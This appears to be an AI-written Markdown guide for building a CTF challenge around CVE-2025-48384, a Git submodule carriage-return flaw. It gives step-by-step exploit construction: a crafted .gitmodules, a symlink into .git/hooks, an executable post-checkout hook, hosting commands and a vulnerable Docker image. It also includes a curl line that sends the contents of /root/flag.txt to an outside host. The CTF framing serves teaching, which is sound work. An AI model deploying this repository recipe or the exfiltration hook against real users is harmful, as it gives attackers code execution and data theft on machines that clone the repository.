Files
s41r4j-cve-2025-48384/CTF/Malicious-Git-Repo.md
T

270 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### Designing a Malicious Git Repository for a CTF Challenge Exploiting CVE-2025-48384
This guide provides a detailed, step-by-step approach to creating a malicious Git repository that exploits **CVE-2025-48384**, a client-side vulnerability in Git that allows remote code execution (RCE) via improper handling of carriage return (CR) characters in submodule paths. The goal is to craft a Capture The Flag (CTF) challenge where players either clone a provided malicious repository to trigger RCE and retrieve a flag, or submit their own malicious repo to exploit a simulated service. The focus is on the repository structure, exact implementation syntax, necessary files, and commands to set it up, ensuring the RCE is benign (e.g., reveals a flag) and safe for a CTF environment.
**Disclaimer**: This is for educational purposes in a controlled CTF setting. Always use isolated environments (e.g., Docker, VMs) to prevent unintended harm. Ensure compliance with CTF ethics and legal guidelines. The RCE will be limited to flag retrieval or similar benign actions.
---
### 1. Understanding CVE-2025-48384 in a CTF Context
- **Vulnerability Recap**: The flaw occurs because Git strips trailing CR (`\r`) when reading config values but doesn't properly quote them when writing, causing a mismatch. This allows a submodule's path to be misinterpreted, enabling path traversal. Combined with a symlink to the `.git/hooks` directory and an executable hook in the submodule, cloning the repo with `--recurse-submodules` triggers RCE by executing the hook.
- **CTF Objective**: Players clone a malicious repo in a vulnerable Git environment (e.g., Git v2.43.6 or earlier, up to v2.50.0) to trigger the RCE, which runs a post-checkout hook that outputs a flag (e.g., to `/tmp/flag.txt`). Alternatively, players craft their own repo to exploit a service.
- **Environment**: The repo and commands are designed for Linux/macOS, as symlinks are critical and behave differently on Windows.
---
### 2. Repository Structure
The malicious Git repository must include:
1. A **main repository** with a crafted `.gitmodules` file containing a submodule path with a trailing CR.
2. A **symlink** in the main repo that points the misinterpreted submodule path to the `.git/hooks` directory.
3. A **submodule repository** with an executable `post-checkout` hook that performs the RCE (e.g., writes the flag).
Here’s the structure:
```
malicious-repo/ # Main repository
├── .git/
├── .gitmodules # Defines submodule with CR in path
├── malicious-submodule -> .git/hooks # Symlink to hooks directory
└── README.md # Optional, for realism
malicious-submodule-repo/ # Separate submodule repository
├── .git/
└── .git/hooks/
└── post-checkout # Executable hook script (RCE payload)
```
---
### 3. Step-by-Step Implementation
Below are the exact steps, files, syntax, and commands to create the malicious repo and submodule repo. This assumes a Linux environment (e.g., Ubuntu in a Docker container) for setup and testing. All commands are run in a terminal.
#### Step 1: Set Up the Submodule Repository
The submodule contains the malicious hook that will execute during RCE.
1. **Create the Submodule Repository**:
```bash
mkdir malicious-submodule-repo
cd malicious-submodule-repo
git init
```
2. **Create the Malicious Hook**:
- Create an executable `post-checkout` hook in the submodule’s `.git/hooks/` directory.
- This hook will run when the submodule is checked out, simulating RCE by writing a flag.
```bash
mkdir -p .git/hooks
cat > .git/hooks/post-checkout << 'EOF'
#!/bin/bash
echo "CTF{you_triggered_cve_2025_48384}" > /tmp/flag.txt
EOF
chmod +x .git/hooks/post-checkout
```
- Explanation: The hook is a simple bash script that writes a flag to `/tmp/flag.txt`. In a real CTF, you might make it more complex (e.g., read a flag from a restricted file or send it to a player’s server).
3. **Commit and Push the Submodule Repo**:
- Add a dummy file to make the repo valid, then commit and host it (e.g., on a local Git server or GitHub).
```bash
touch dummy.txt
git add .
git commit -m "Initialize submodule with malicious hook"
```
- If hosting locally (e.g., using `git daemon`):
```bash
git daemon --reuseaddr --base-path=. --export-all --verbose
```
- This makes the repo accessible at `git://<your-ip>/malicious-submodule-repo`.
- If using GitHub, push to a public repo:
```bash
git remote add origin https://github.com/<your-username>/malicious-submodule-repo.git
git push origin main
```
#### Step 2: Set Up the Main Repository
The main repo links to the submodule and sets up the path traversal.
1. **Create the Main Repository**:
```bash
mkdir malicious-repo
cd malicious-repo
git init
```
2. **Create the `.gitmodules` File with Trailing CR**:
- The submodule path must end with a `\r` to exploit the config mismatch.
- Use `printf` to append the CR, as text editors may strip it.
```bash
printf '[submodule "malicious-submodule\r"]\n\tpath = malicious-submodule\r\n\turl = git://<your-ip>/malicious-submodule-repo\n' > .gitmodules
```
- Replace `git://<your-ip>/malicious-submodule-repo` with the submodule’s URL (e.g., `https://github.com/<your-username>/malicious-submodule-repo.git` if hosted on GitHub).
- **Note**: The trailing `\r` in the submodule name and path is critical. Verify it exists using `hexdump`:
```bash
hexdump -C .gitmodules
```
- Look for `0d` (CR) after `malicious-submodule` and its path.
3. **Create the Symlink**:
- The symlink makes the misinterpreted path (`malicious-submodule` without CR) point to `.git/hooks`.
```bash
ln -s .git/hooks malicious-submodule
```
4. **Add a README for Realism** (Optional):
```bash
echo "# Malicious Repo for CTF" > README.md
```
5. **Commit the Main Repo**:
```bash
git add .gitmodules malicious-submodule README.md
git commit -m "Initialize malicious repo for CVE-2025-48384"
```
6. **Host the Main Repo**:
- Similar to the submodule, host locally or on GitHub:
```bash
git daemon --reuseaddr --base-path=. --export-all --verbose
```
- Accessible at `git://<your-ip>/malicious-repo`.
- Or push to GitHub:
```bash
git remote add origin https://github.com/<your-username>/malicious-repo.git
git push origin main
```
#### Step 3: Set Up the Vulnerable Environment
Players need a vulnerable Git version to trigger the exploit. Use a Docker container for safety.
1. **Create a Dockerfile**:
```dockerfile
FROM ubuntu:24.04
RUN apt update && apt install -y git=1:2.43.0-1ubuntu7
RUN useradd -m ctfuser
USER ctfuser
WORKDIR /home/ctfuser
CMD ["/bin/bash"]
```
- **Note**: The exact Git version (`1:2.43.0-1ubuntu7`) is illustrative; use a vulnerable version (e.g., <2.43.7). Check Ubuntu/Debian package repos or compile Git from source (e.g., v2.43.6).
2. **Build and Run the Container**:
```bash
docker build -t ctf-git-vuln .
docker run -it ctf-git-vuln
```
3. **Test the Exploit Locally** (Before CTF Deployment):
- Inside the container (as `ctfuser`):
```bash
git clone --recurse-submodules git://<your-ip>/malicious-repo
cd malicious-repo
```
- The clone with `--recurse-submodules` triggers the RCE:
- The submodule path `malicious-submodule\r` is read as `malicious-submodule` (CR stripped).
- The symlink `malicious-submodule -> .git/hooks` causes the submodule’s hooks to be checked out into `.git/hooks`.
- The `post-checkout` hook executes, writing `CTF{you_triggered_cve_2025_48384}` to `/tmp/flag.txt`.
- Verify:
```bash
cat /tmp/flag.txt
```
#### Step 4: CTF Challenge Instructions
- **Prompt**: "You’ve found a suspicious Git repository at `git://<your-ip>/malicious-repo`. Clone it in the provided Docker container (Git v2.43.6) to retrieve the flag. The flag is written to `/tmp/flag.txt`. Hint: Use recursive cloning and check for hooks."
- **Command for Players**:
```bash
docker run -it ctf-git-vuln
git clone --recurse-submodules git://<your-ip>/malicious-repo
cat /tmp/flag.txt
```
- **Flag Format**: `CTF{you_triggered_cve_2025_48384}`
#### Step 5: Alternative (Advanced) Challenge: Players Craft the Repo
For a harder challenge, have players submit a malicious repo to a service:
1. **Service Setup**:
- Run a server (e.g., Flask app in Docker) that accepts repo URLs and clones them with `git clone --recurse-submodules`.
- Place a flag in `/root/flag.txt` on the server.
- The hook in the player’s submodule should exfil the flag (e.g., `curl -d "$(cat /root/flag.txt)" http://player-logger.com`).
2. **Player Task**: Create a repo mirroring the structure above and submit its URL. They must craft the `.gitmodules` with CR, symlink, and hook.
3. **Safety**: Use a read-only filesystem (except for flag access), rate-limit submissions, and sanitize hook outputs.
---
### 4. Exact Files and Syntax
Here’s a recap of the critical files and their exact contents:
- **malicious-submodule-repo/.git/hooks/post-checkout**:
```bash
#!/bin/bash
echo "CTF{you_triggered_cve_2025_48384}" > /tmp/flag.txt
```
- Permissions: `chmod +x post-checkout`
- **malicious-repo/.gitmodules**:
```ini
[submodule "malicious-submodule\r"]
path = malicious-submodule\r
url = git://<your-ip>/malicious-submodule-repo
```
- Created with:
```bash
printf '[submodule "malicious-submodule\r"]\n\tpath = malicious-submodule\r\n\turl = git://<your-ip>/malicious-submodule-repo\n' > .gitmodules
```
- **malicious-repo/malicious-submodule**:
- Symlink created with:
```bash
ln -s .git/hooks malicious-submodule
```
---
### 5. Required Commands (Summary)
- **Submodule Repo**:
```bash
mkdir malicious-submodule-repo && cd malicious-submodule-repo
git init
mkdir -p .git/hooks
echo -e '#!/bin/bash\necho "CTF{you_triggered_cve_2025_48384}" > /tmp/flag.txt' > .git/hooks/post-checkout
chmod +x .git/hooks/post-checkout
touch dummy.txt
git add . && git commit -m "Init submodule"
git daemon --reuseaddr --base-path=. --export-all --verbose # Or push to GitHub
```
- **Main Repo**:
```bash
mkdir malicious-repo && cd malicious-repo
git init
printf '[submodule "malicious-submodule\r"]\n\tpath = malicious-submodule\r\n\turl = git://<your-ip>/malicious-submodule-repo\n' > .gitmodules
ln -s .git/hooks malicious-submodule
echo "# Malicious Repo for CTF" > README.md
git add . && git commit -m "Init malicious repo"
git daemon --reuseaddr --base-path=. --export-all --verbose # Or push to GitHub
```
- **Test in Vulnerable Environment**:
```bash
docker build -t ctf-git-vuln .
docker run -it ctf-git-vuln
git clone --recurse-submodules git://<your-ip>/malicious-repo
cat /tmp/flag.txt
```
---
### 6. Best Practices and Safety
- **Isolation**: Use Docker to ensure the RCE can’t harm the host. Mount filesystems read-only where possible.
- **Sanitize Payloads**: The hook should only perform CTF-relevant actions (e.g., write a flag). Avoid commands like `rm` or network calls unless controlled.
- **Hints for Players**: Suggest checking `.gitmodules` syntax, submodule paths, and hooks. Mention the importance of `--recurse-submodules`.
- **Writeup**: After the CTF, explain the CR mismatch, symlink trick, and mitigation (update to Git v2.43.7+).
- **Testing**: Verify the exploit works on vulnerable versions (e.g., v2.43.6) but not patched ones (e.g., v2.43.7). Use `hexdump` to confirm CRs.
---
### 7. Potential Variations
- **Harder Challenge**: Require players to exfil the flag to their own server (e.g., via `curl` in the hook).
- **Obfuscation**: Hide the CR in `.gitmodules` by adding dummy submodules or comments.
- **Multi-Step**: Combine with other vulns (e.g., a web challenge to find the repo URL).
This setup creates a realistic, educational CTF challenge that demonstrates CVE-2025-48384’s RCE potential safely. If you need help with Docker configs, hosting, or a player-crafted repo version, let me know!